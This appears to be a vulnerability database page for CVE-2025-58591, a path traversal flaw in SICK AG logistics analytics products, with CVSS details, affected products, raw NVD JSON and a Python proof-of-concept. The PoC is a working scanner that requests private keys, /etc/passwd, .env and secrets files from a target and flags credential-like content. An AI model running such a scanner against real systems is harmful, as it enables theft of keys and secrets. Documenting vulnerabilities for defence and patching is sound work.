Security Vulnerability Report
中文
CVE-2025-58591 CVSS 6.5 MEDIUM

CVE-2025-58591

Published: 2025-10-06 07:15:36
Last Modified: 2026-01-27 19:41:38

Description

A remote, unauthorized attacker can brute force folders and files and read them like private keys or configurations, making the application vulnerable for gathering sensitive information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:* - VULNERABLE
SICK AG 工业传感器及自动化产品(具体受影响版本请参考SICK官方CSAF公告 sca-2025-0010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58591 PoC - Directory/File Brute Force for Sensitive Information Disclosure # Target: SICK AG industrial products web interface # Description: This PoC demonstrates how an attacker can brute force directories and files # to read sensitive information like private keys and configuration files. import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-sick-device.example.com" WORDLIST_PATHS = [ "/.ssh/id_rsa", "/.ssh/id_rsa.pub", "/private.key", "/server.key", "/config.xml", "/configuration.xml", "/settings.json", "/config.json", "/admin/config", "/etc/passwd", "/.env", "/backup/config.bak", "/keys/private.pem", "/certs/server.crt", "/web.config", "/application.properties", "/database.yml", "/secrets.yml", ] def check_path(path): """Check if a path exists and is accessible on the target server.""" url = f"{TARGET_URL}{path}" try: response = requests.get(url, timeout=5, verify=False, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: # Check if response contains sensitive content patterns sensitive_patterns = [b"BEGIN RSA", b"BEGIN PRIVATE", b"BEGIN CERTIFICATE", b"password", b"secret", b"api_key", b"token"] for pattern in sensitive_patterns: if pattern in response.content: print(f"[!!! SENSITIVE] {url} - Found: {pattern.decode()}") return (url, response.text) print(f"[+] ACCESSIBLE: {url} (Size: {len(response.content)} bytes)") return (url, response.text) except requests.exceptions.RequestException: pass return None def main(): print(f"[*] Starting directory/file brute force against {TARGET_URL}") print(f"[*] Testing {len(WORDLIST_PATHS)} paths...") results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_path, path): path for path in WORDLIST_PATHS} for future in futures: result = future.result() if result: results.append(result) print(f"\n[*] Scan complete. Found {len(results)} accessible paths.") for url, content in results: print(f"\n{'='*60}") print(f"URL: {url}") print(f"Content preview: {content[:200]}...") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58591", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:36.043", "lastModified": "2026-01-27T19:41:38.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote, unauthorized attacker can brute force folders and files and read them like private keys or configurations, making the application vulnerable for gathering sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "E62416BA-1BF1-43BD-98B2-57BD34128419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "27031959-2981-4755-9E3D-02CD083F2B72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "5955214B-0D71-449A-BFD4-8804FDF91CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "86C0BA69-E701-45A3-ADA5-130B8AD9DF15"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}